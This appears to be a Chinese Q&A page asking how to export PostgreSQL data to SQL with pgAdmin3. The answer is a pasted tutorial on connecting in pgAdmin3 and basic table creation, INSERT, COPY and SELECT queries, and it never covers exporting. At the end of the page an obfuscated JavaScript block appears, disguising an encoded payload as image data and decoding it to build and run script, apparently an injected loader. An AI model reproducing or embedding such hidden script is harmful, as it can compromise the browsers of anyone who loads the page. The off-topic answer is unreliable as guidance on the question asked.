怎么把postgresql的数据导出成sql,我有pgAdmin3

2025-02-08 18:57:38
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回答1:

.2.1 pgAdmin3的启动

您可以在应用程序---系统工具中找到pgAdmin3的启动项;
也可以在命令行下输入:
xiaop@xiaop-laptop:~$ /usr/bin/pgadmin3 start

6.2.2 连接已创建的数据库mydb ;

点击档案-----新增服务器,然后在跳出的窗口下输入:
地址:localhost
描述:服务器名称(随意填写)
维护数据库:postgres
用户名:自己创建一个(详情参见创建用户)
密码:和用户名对应(创建用户时自己创建)

点击确定后大家便可以查看postsql已有的数据库了;
注:pgAdmin3的数据库和终端下创建的数据库是完全同步的(可以用刷新查看效果), pgAdmin3是比较方便的图形化管理工具,它可以创建图表,管理数据库等,有关pgAdmin3的详细介绍我们在以后讨论,本文主要介绍命令行下的操作。图形化管理工具能做到的命令行都可以做到,您可以在命令行下创建表,在pgAdmin3上查看是否同步:

7. 创建和删除表;

7.1 创建新表;

创建完数据库之后,您就可以创建新表了,可以通过声明表的名字和所有字段的名字及其类型来创建表,例如:
mydb#CREATE TABLE weather (
city varchar(80),
temp_lo int, -- 最低气温
temp_hi int, -- 最高气温
prcp real, -- 降水量
date date
);

注:您可以在 psql 里连换行符一起键入这些东西。 psql 可以识别该命令直到分号才结束,不要忘记“;”
您可以在 SQL 命令中自由使用空白(也就是空格,tab,和换行符)。 这就意味着您可以用和上面不同的对齐方式键入命令。 两个划线("--") 引入注释。 任何跟在它后面的东西直到该行的结尾都被忽略。 SQL 是对关键字和标识符大小写不敏感的语言,只有在标识符用双引号包围时才能保留它们的大小写属性。

7.2 数据类型;

上面例子中的varchar(80) 声明一个可以存储最长 80 个字符的任意字符串的数据类型。 int 是普通的整数类型。 real 是一种用于存储单精度浮点数的类型。 date 类型应该可以自解释。
PostgresSQL 支持标准的 SQL 类型 int,smallint, real,double precision, char(N), varchar(N),date, time,timestamp 和 interval,还支持其他的通用类型和丰富的几何类型。 PostgreSQL 可以客户化为定制任意的用户定义的数据类型,您可以参考PostgreSQL的中文文档来查询;

7.3 删除表;

如果您不再需要某个表,或者您想创建一个不同的表,那么您可以用下面的命令删除它:
mydb#DROP TABLE tablename

8. 向表中添加行;

8.1 INSERT;

INSERT 用于向表中添加行,您可以输入(在数据库中操作):
mydb#INSERT INTO weather VALUES ('San Francisco', 46, 50, 0.25, '1994-11-27');

注:所有数据类型都使用了相当明了的输入格式。 那些不是简单数字值的常量必需用单引号(')包围, 就象在例子里一样。

8.2 point类型输入;

point 类型要求一个座标对作为输入,如下:
mydb#INSERT INTO cities VALUES ('San Francisco', '(-194.0, 53.0)');

8.3 COPY;

您还可以使用 COPY 从文本文件中装载大量数据。 这么干通常更快,因为 COPY 命令就是为这类应用优化的, 只是比 INSERT 少一些灵活性.比如:
mydb#COPY weather FROM '/home/user/weather.txt';

注:weather.txt是您提前写好的符合格式标准的表格内容文档;

9. 查询一个表;

9.1 SELECT;

要从一个表中检索数据就是查询这个表。 SQL 的 SELECT 就是做这个用途的。 该语句分为选择列表(列出要返回的字段部分),表列表(列出从中检索数据的表的部分), 以及可选的条件(声明任意限制的部分)。比如,要检索表 weather 的所有行,键入:
SELECT * FROM weather;

输出结果:

city | temp_lo | temp_hi | prcp | date
---------------+---------+---------+------+------------
San Francisco | 46 | 50 | 0.25 | 1994-11-27
San Francisco | 43 | 57 | 0 | 1994-11-29
Hayward | 37 | 54 | | 1994-11-29
(3 rows)

您可以在选择列表中写任意表达式,而不仅仅是字段列表。比如,您可以:
SELECT city, (temp_hi+temp_lo)/2 AS temp_avg, date FROM weather;

这样应该得出:
city | temp_avg | date
---------------+----------+------------
San Francisco | 48 | 1994-11-27
San Francisco | 50 | 1994-11-29
Hayward | 45 | 1994-11-29
(3 rows)

请注意这里的 AS 子句是如何给输出字段重新命名的。(AS 子句是可选的。)

9.2 WHERE;

一个查询可以使用 WHERE 子句"修饰",声明需要哪些行。 WHERE 子句包含一个布尔(真值)表达式,只有那些布尔表达式为真的行才会被返回。 允许您在条件中使用常用的布尔操作符(AND,OR, 和 NOT)。 比如,下面的查询检索旧金山的下雨天的天气:
mydb#SELECT * FROM weather
WHERE city = 'San Francisco' AND prcp > 0.0;

结果:
city | temp_lo | temp_hi | prcp | date
---------------+---------+---------+------+------------
San Francisco | 46 | 50 | 0.25 | 1994-11-27
(1 row)

9.3 排序;

您可以要求返回的查询是排好序的:
mydb#SELECT * FROM weather
ORDER BY city;

得出结果:
city | temp_lo | temp_hi | prcp | date
---------------+---------+---------+------+------------
Hayward | 37 | 54 | | 1994-11-29
San Francisco | 43 | 57 | 0 | 1994-11-29
San Francisco | 46 | 50 | 0.25 | 1994-11-27

在这个例子里,排序的顺序并非绝对清晰的,因此您可能看到 San Francisco 行随机的排序。 但是如果您使用下面的语句,那么就总是会得到上面的结果
SELECT * FROM weather
ORDER BY city, temp_lo;

您可以要求查询的结果按照某种顺序排序, 并且消除重复的行输出:
mydb#SELECT DISTINCT city
FROM weather;

得出结果:
city
---------------
Hayward
San Francisco
(2 rows)

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 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